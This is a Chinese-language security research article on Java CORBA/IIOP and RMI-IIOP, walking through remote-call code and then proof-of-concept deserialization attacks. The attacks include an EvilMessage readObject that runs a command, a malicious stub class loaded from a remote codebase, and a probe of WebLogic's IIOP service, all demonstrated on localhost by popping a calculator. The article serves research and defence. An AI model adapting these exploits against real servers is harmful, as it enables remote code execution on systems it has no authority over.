作者:Longofo@知道創宇404實驗室
時間:2019年12月30日
在寫完《Java中RMI、JNDI、LADP、JRMP、JMX、JMS那些事兒(上)》的時候,又看到一個包含RMI-IIOP的議題[1],在16年Blackhat JNDI注入議題[2]中也提到了這個協議的利用,當時想著沒太看到或聽說有多少關于IIOP的漏洞(可能事實真的如此吧,在下面Weblogic RMI-IIOP部分或許能感受到),所以那篇文章寫作過程中也沒去看之前那個16年議題IIOP相關部分。網上沒怎么看到有關于IIOP或RMI-IIOP的分析文章,這篇文章來感受下。
環境說明
- 文中的測試代碼放到了github上
- 測試代碼的JDK版本在文中會具體說明,有的代碼會被重復使用,對應的JDK版本需要自己切換
RMI-IIOP
在閱讀下面內容之前,可以先閱讀下以下幾個鏈接的內容,包含了一些基本的概念留個印象:
https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html[3]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html[4]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738[5]
Java IDL是一種用于分布式對象的技術,即對象在網絡上的不同平臺上進行交互。Java IDL使對象能夠進行交互,而不管它們是以Java編程語言還是C,C ++,COBOL或其他語言編寫的。這是可能的,因為Java IDL基于通用對象請求代理體系結構(CORBA),即行業標準的分布式對象模型。CORBA的主要功能是IDL,一種與語言無關的接口定義語言。每種支持CORBA的語言都有自己的IDL映射-顧名思義,Java IDL支持Java映射。為了支持單獨程序中對象之間的交互,Java IDL提供了一個對象請求代理或ORB(Object Request Broker)。ORB是一個類庫,可在Java IDL應用程序與其他符合CORBA的應用程序之間進行低層級的通信。
CORBA,Common ObjectRequest Broker Architecture(公共對象請求代理體系結構),是由OMG組織制訂的一種標準的面向對象應用程序體系規范。CORBA使用接口定義語言(IDL),用于指定對象提供給外部的接口。然后,CORBA指定從IDL到特定實現語言(如Java)的映射。CORBA規范規定應有一個對象請求代理(ORB),通過該對象應用程序與其他對象進行交互。通用InterORB協議(GIOP)摘要協議的創建是為了允許ORB間的通信,并提供了幾種具體的協議,包括Internet InterORB協議(IIOP),它是GIOP的實現,可用于Internet,并提供GIOP消息和TCP/IP層之間的映射。
IIOP,Internet Inter-ORB Protocol(互聯網內部對象請求代理協議),它是一個用于CORBA 2.0及兼容平臺上的協議;用來在CORBA對象請求代理之間交流的協議。Java中使得程序可以和其他語言的CORBA實現互操作性的協議。
RMI-IIOP出現以前,只有RMI和CORBA兩種選擇來進行分布式程序設計,二者之間不能協作。RMI-IIOP綜合了RMI 和CORBA的優點,克服了他們的缺點,使得程序員能更方便的編寫分布式程序設計,實現分布式計算。RMI-IIOP綜合了RMI的簡單性和CORBA的多語言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺點和CORBA的復雜性(可以不用掌握IDL)。
CORBA-IIOP遠程調用
在CORBA客戶端和服務器之間進行遠程調用模型如下:

在客戶端,應用程序包含遠程對象的引用,對象引用具有存根方法,存根方法是遠程調用該方法的替身。存根實際上是連接到ORB的,因此調用它會調用ORB的連接功能,該功能會將調用轉發到服務器。
在服務器端,ORB使用框架代碼將遠程調用轉換為對本地對象的方法調用。框架將調用和任何參數轉換為其特定于實現的格式,并調用客戶端想要調用的方法。方法返回時,框架代碼將轉換結果或錯誤,然后通過ORB將其發送回客戶端。
在ORB之間,通信通過共享協議IIOP進行。基于標準TCP/IP Internet協議的IIOP定義了兼容CORBA的ORB如何來回傳遞信息。
編寫一個Java CORBA IIOP遠程調用步驟:
- 使用idl定義遠程接口
- 使用idlj編譯idl,將idl映射為Java,它將生成接口的Java版本類以及存根和骨架的類代碼文件,這些文件使應用程序可以掛接到ORB。在遠程調用的客戶端與服務端編寫代碼中會使用到這些類文件。
- 編寫服務端代碼
- 編寫客戶端代碼
- 依次啟動命名服務->服務端->客戶端
好了,用代碼感受下(github找到一份現成的代碼可以直接用,不過做了一些修改):
1、2步驟作者已經幫我們生成好了,生成的代碼在EchoApp目錄
服務端:
//服務端
package com.longofo.corba.example;
import com.longofo.corba.example.EchoApp.Echo;
import com.longofo.corba.example.EchoApp.EchoHelper;
import org.omg.CORBA.ORB;
import org.omg.CosNaming.NameComponent;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.PortableServer.POA;
import org.omg.PortableServer.POAHelper;
public class Server {
public static void main(String[] args) {
if (args.length == 0) {
args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "localhost";
}
try {
//創建并初始化ORB
ORB orb = ORB.init(args, null);
//獲取根POA的引用并激活POAManager
POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
rootpoa.the_POAManager().activate();
//創建servant
EchoImpl echoImpl = new EchoImpl();
//獲取與servant關聯的對象引用
org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl);
Echo echoRef = EchoHelper.narrow(ref);
//為所有CORBA ORB定義字符串"NameService"。當傳遞該字符串時,ORB返回一個命名上下文對象,該對象是名稱服務的對象引用
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
NameComponent path[] = ncRef.to_name("ECHO-SERVER");
ncRef.rebind(path, echoRef);
System.out.println("Server ready and waiting...");
//等待客戶端調用
orb.run();
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
客戶端:
//客戶端
package com.longofo.corba.example;
import com.longofo.corba.example.EchoApp.Echo;
import com.longofo.corba.example.EchoApp.EchoHelper;
import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
public class Client {
public static void main(String[] args) {
if (args.length == 0) {
args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "localhost";
}
try {
//創建并初始化ORB
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER"));
String hello = href.echoString();
System.out.println(hello);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
//使用Jndi查詢客戶端
package com.longofo.corba.example;
import com.alibaba.fastjson.JSON;
import com.longofo.corba.example.EchoApp.Echo;
import com.longofo.corba.example.EchoApp.EchoHelper;
import javax.naming.*;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class JndiClient {
/**
* 列出所有遠程對象名
*/
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
//列出所有遠程對象名
System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
System.out.println("-----------call remote method--------------");
Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER"));
System.out.println(echoRef.echoString());
}
private static Map listAllEntries(Context initialContext) throws NamingException {
String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
HashMap<String, Object> map = new HashMap<String, Object>();
System.out.println("> Listing namespace: " + namespace);
NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
while (list.hasMoreElements()) {
NameClassPair next = list.next();
String name = next.getName();
String jndiPath = namespace + name;
HashMap<String, Object> lookup = new HashMap<String, Object>();
try {
System.out.println("> Looking up name: " + jndiPath);
Object tmp = initialContext.lookup(jndiPath);
if (tmp instanceof Context) {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
Map<String, Object> entries = listAllEntries((Context) tmp);
for (Map.Entry<String, Object> entry : entries.entrySet()) {
String key = entry.getKey();
if (key != null) {
lookup.put(key, entries.get(key));
break;
}
}
} else {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
} catch (Throwable t) {
lookup.put("error msg", t.toString());
Object tmp = initialContext.lookup(jndiPath);
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
map.put(name, lookup);
}
return map;
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
客戶端使用了兩種方式,一種是COSNaming查詢,另一種是Jndi查詢,兩種方式都可以,在jdk1.8.0_181測試通過。
首先啟動一個命名服務器(可以理解為rmi的registry),使用ordb啟動如下,orbd默認自帶(如果你有jdk環境的話):

然后啟動服務端corba-iiop/src/main/java/com/longofo/example/Server.java,在啟動corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。
這里看下JndiClient的結果:
> Listing namespace:
> Looking up name: ECHO-SERVER
{
"ECHO-SERVER":{
"interfaces":[],
"class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
}
}
-----------call remote method--------------
Hello World!!!
注意到那個class不是沒有獲取到原本的EchoImpl類對應的Stub class,而我們之前rmi測試也用過這個list查詢,那時候是能查詢到遠程對象對應的stub類名的。這可能是因為Corba的實現機制的原因,com.sun.corba.se.impl.corba.CORBAObjectImpl是一個通用的Corba對象類,而上面的narrow調用EchoHelper.narrow就是一種將對象變窄的方式轉換為Echo Stub對象,然后才能調用echoString方法,并且每一個遠程對象的調用都要使用它對應的xxxHelper。
下面是Corba客戶端與服務端通信包:

第1、2個包是客戶端與ordb通信的包,后面就是客戶端與服務端通信的包。可以看到第二個數據包的IOR(Interoperable Object Reference)中包含著服務端的ip、port等信息,意思就是客戶端先從ordb獲取服務端的信息,然后接著與服務端通信。同時這些數據中也沒有平常所說的ac ed 00 05 標志,但是其實反序列化的數據被包裝了,在后面的RMI-IIOP中有一個例子會進行說明。
IOR幾個關鍵字段:
- Type ID:接口類型,也稱為存儲庫ID格式。本質上,存儲庫ID是接口的唯一標識符。例如上面的
IDL:omg.org/CosNaming/NamingContext:1.0 - IIOP version:描述由ORB實現的IIOP版本
- Host:標識ORB主機的TCP/IP地址
- Port:指定ORB在其中偵聽客戶端請求的TCP/IP端口號
- Object Key:唯一地標識了被ORB導出的servant
- Components:包含適用于對象方法的附加信息的序列,例如支持的ORB服務和專有協議支持等
- Codebase:用于獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在服務器中解碼IOR引用的類,在后面利用中我們能夠看到。
只使用Corba進行遠程調用很麻煩,要編寫IDL文件,然后手動生成對應的類文件,同時還有一些其他限制,然后就有了RMI-IIOP,結合了Corba、RMI的優點。
RMI-IIOP遠程調用
編寫一個RMI IIOP遠程調用步驟:
- 定義遠程接口類
- 編寫實現類
- 編寫服務端
- 編寫客戶端
- 編譯代碼并為服務端與客戶端生成對應的使用類
下面直接給出一種惡意利用的demo場景。
服務端:
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
//實例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服務中發布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
客戶端:
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
//從命名服務獲取引用
Object objRef = initialContext.lookup("HelloService");
//narrow引用為具體的對象
HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);
EvilMessage message = new EvilMessage();
message.setMsg("Client call method sayHello...");
hello.sayHello(message);
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
假設在服務端中存在EvilMessage這個能進行惡意利用的類,在客戶端中編寫同樣包名類名相同的類,并繼承HelloInterface.sayHello(Message msg)方法中Message類:
package com.longofo.example;
import java.io.ObjectInputStream;
public class EvilMessage extends Message {
private void readObject(ObjectInputStream s) {
try {
s.defaultReadObject();
Runtime.getRuntime().exec("calc");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
先編譯好上面的代碼,然后生成服務端與客戶端進行遠程調用的代理類:
rmic -iiop com.longofo.example.HelloImpl
執行完成后,在下面生成了兩個類(Tie用于服務端,Stub用于客戶端):

啟動一個命名服務器:
orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost
啟動服務端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,再啟動客戶端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到計算器彈出,在JDK 1.8.1_181測試通過。
服務端調用棧如下:

注意那個_HelloImpl_Tie.read_value,這是在19年BlackHat議題[1]提到的,如果直接看那個pdf中關于RMI-IIOP的內容,可能會一臉懵逼,因為議題中沒有上面這些前置信息,有了上面這些信息,再去看那個議題的內容可能會輕松些。通過調用棧我們也能看到,IIOP通信中的某些數據被還原成了CDRInputStream,這是InputStream的子類,而被包裝的數據在下面Stub data這里:

最后通過反射調用到了EvilMessage的readObject,看到這里其實就清楚一些了。不過事實可能會有些殘酷,不然為什么關于RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP來感受下。
Weblogic中的RMI-IIOP
Weblogic默認是開啟了iiop協議的,如果是上面這樣的話,看通信數據以及上面的調用過程極大可能是不會經過Weblogic的黑名單了。
直接用代碼測試吧(利用的Weblogic自帶的JDK 1.6.0_29測試):
import com.alibaba.fastjson.JSON;
import javax.ejb.RemoveException;
import javax.management.j2ee.ManagementHome;
import javax.naming.*;
import javax.rmi.PortableRemoteObject;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class PayloadIiop {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException {
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001");
System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
Object objRef = initialContext.lookup("ejb/mgmt/MEJB");
ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class);
managementHome.remove(new Object());//這里只是測試能否成功調用到remove方法,如果能成功調用,Object按照上面RMI-IIOP那種方式惡意利用
}
private static Map listAllEntries(Context initialContext) throws NamingException {
String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
HashMap<String, Object> map = new HashMap<String, Object>();
System.out.println("> Listing namespace: " + namespace);
NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
while (list.hasMoreElements()) {
NameClassPair next = list.next();
String name = next.getName();
String jndiPath = namespace + name;
HashMap<String, Object> lookup = new HashMap<String, Object>();
try {
System.out.println("> Looking up name: " + jndiPath);
Object tmp = initialContext.lookup(jndiPath);
if (tmp instanceof Context) {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
Map<String, Object> entries = listAllEntries((Context) tmp);
for (Map.Entry<String, Object> entry : entries.entrySet()) {
String key = entry.getKey();
if (key != null) {
lookup.put(key, entries.get(key));
break;
}
}
} else {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
} catch (Throwable t) {
lookup.put("error msg", t.toString());
Object tmp = initialContext.lookup(jndiPath);
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
map.put(name, lookup);
}
return map;
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
list查詢結果如下:
> Listing namespace:
> Looking up name: weblogic
> Listing namespace:
> Looking up name: ejb
> Listing namespace:
> Looking up name: mgmt
> Listing namespace:
> Looking up name: MEJB
> Looking up name: javax
> Listing namespace:
> Looking up name: mejbmejb_jarMejb_EO
{
"ejb":{
"mgmt":{
"MEJB":{
"interfaces":[],
"class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
},
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
},
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
},
"javax":{
"error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No",
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
},
"mejbmejb_jarMejb_EO":{
"interfaces":[],
"class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"
},
"weblogic":{
"error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No",
"interfaces":["javax.naming.Context"],
"class":"com.sun.jndi.cosnaming.CNCtx"
}
}
這些遠程對象的名稱和通過默認的rmi://協議查詢的結果是一樣的,只是class和interfaces不同。
但是到managementHome.remove就報錯了,managementHome為null。在上面RMI-IIOP的測試中,客戶端要調用遠程需要用到客戶端的Stub類,去查找了下ejb/mgmt/MEJB對應的實現類weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl,他有一個Stub類為weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub,但是這個Stub類是為默認的RMI JRMP方式生成的,并沒有為IIOP調用生成客戶端與服務端類,只是綁定了一個名稱。
通過一些查找,每一個IIOP遠程對象對應的Tie類和Stub類都會有一個特征:

根據這個特征,在Weblogic中確實有很多這種已經為IIOP調用生成的客戶端Stub類,例如_MBeanHomeImpl_Stub類,是MBeanHomeImpl客戶端的Stub類:

一個很尷尬的事情就是,Weblogic默認綁定了遠程名稱的實現類沒有為IIOP實現服務端類與客戶端類,但是沒有綁定的一些類卻實現了,所以默認無法利用了。
剛才調用失敗了,來看下沒有成功調用的通信:

在COSNaming查詢包之后,服務端返回了type_ip為RMI:javax.management.j2ee.ManagementHome:0000000000000000的標志,
然后下一個包又繼續了一個_is_a查詢:

下一個包就返回了type_id not match:

可以猜測的是服務端沒有生成IIOP對應的服務端與客戶端類,然后命名服務器中找不到關于的RMI:javax.management.j2ee.ManagementHome:0000000000000000標記,通過查找也確實沒有找到對應的類。
不過上面這種利用方式只是在代碼層調用遵守了Corba IIOP的一些規范,規規矩矩的調用,在協議層能不能通過替換、修改等操作進行構造與利用,能力有限,未深入研究IIOP通信過程。
在今年的那個議題RMI-IIOP部分,給出了Websphere一個攔截器類TxServerInterceptor中使用到read_any方法的情況,從這個名字中可以看出是一個攔截器,所以基本上所有請求都會經過這里。這里最終也調用到read_value,就像上面的_HelloImpl_Tie.read_value一樣,這里也能進行可以利用,只要目標服務器存在可利用的鏈,作者也給出了一些Websphere中的利用鏈。可以看到,不只是在遠程調用中會存在惡意利用的地方,在其他地方也可能以另一種方式存在,不過在方法調用鏈中核心的幾個地方依然沒有變,CDRInputStream與read_value,可能手動去找這些特征很累甚至可能根本找不到,那么龐大的代碼量,不過要是有所有的方法調用鏈,例如GatgetInspector那種工具,之前初步分析過這個工具。這是后面的打算了,目標是自由的編寫自己的控制邏輯。
JNDI中的利用
在JNDI利用中有多種的利用方式,而RMI-IIOP只是默認RMI利用方式(通過JRMP傳輸)的替代品,在RMI默認利用方式無法利用時,可以考慮用這種方式。但是這種方式依然會受到SecurityManager的限制。
在RMI-IIOP測試代碼中,我把client與server放在了一起,客戶端與服務端使用的Tie與Stub也放在了一起,可能會感到迷惑。那下面我們就單獨把Client拿出來進行測試以及看下遠程加載。
服務端代碼還是使用RMI-IIOP中的Server,但是加了一個codebase:
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
//實例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服務中發布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
Client代碼在新建的rmi-iiop-test-client模塊,這樣模塊之間不會受到影響,Client代碼如下:
package com.longofo.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RMISecurityManager;
import java.util.Hashtable;
public class HelloClient {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";
public static void main(String[] args) {
try {
System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
//從命名服務獲取引用
initialContext.lookup("HelloService");
} catch (Exception ex) {
ex.printStackTrace();
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
然后我在remote-class模塊增加了一個com.longofo.example._HelloInterface_Stub:
package com.longofo.example;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class _HelloInterface_Stub {
static {
//這里由于在static代碼塊中,無法直接拋異常外帶數據,不過有其他方式外帶數據,可以自己查找下。沒寫在構造函數中是因為項目中有些利用方式不會調用構造參數,所以為了方標直接寫在static代碼塊中
try {
exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
throw new Exception(sb);
}
}
啟動遠程類服務remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java,再啟動rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,然后運行客戶端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可彈出計算器。在JDK 1.8.0_181測試通過。
至于為什么進行了遠程調用,在CDRInputStream_1_0.read_object下個斷點,然后跟蹤就會明白了,最后還是利用了rmi的遠程加載功能:

總結
遺憾就是沒有成功在Weblogic中利用到RMI-IIOP,在這里寫出來提供一些思路,如果大家有關于RMI-IIOP的其他發現與想法也記得分享下。不知道大家有沒有關于RMI-IIOP比較好的真實案例。
參考
- https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
- https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html
- https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html
- https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1105/
暫無評論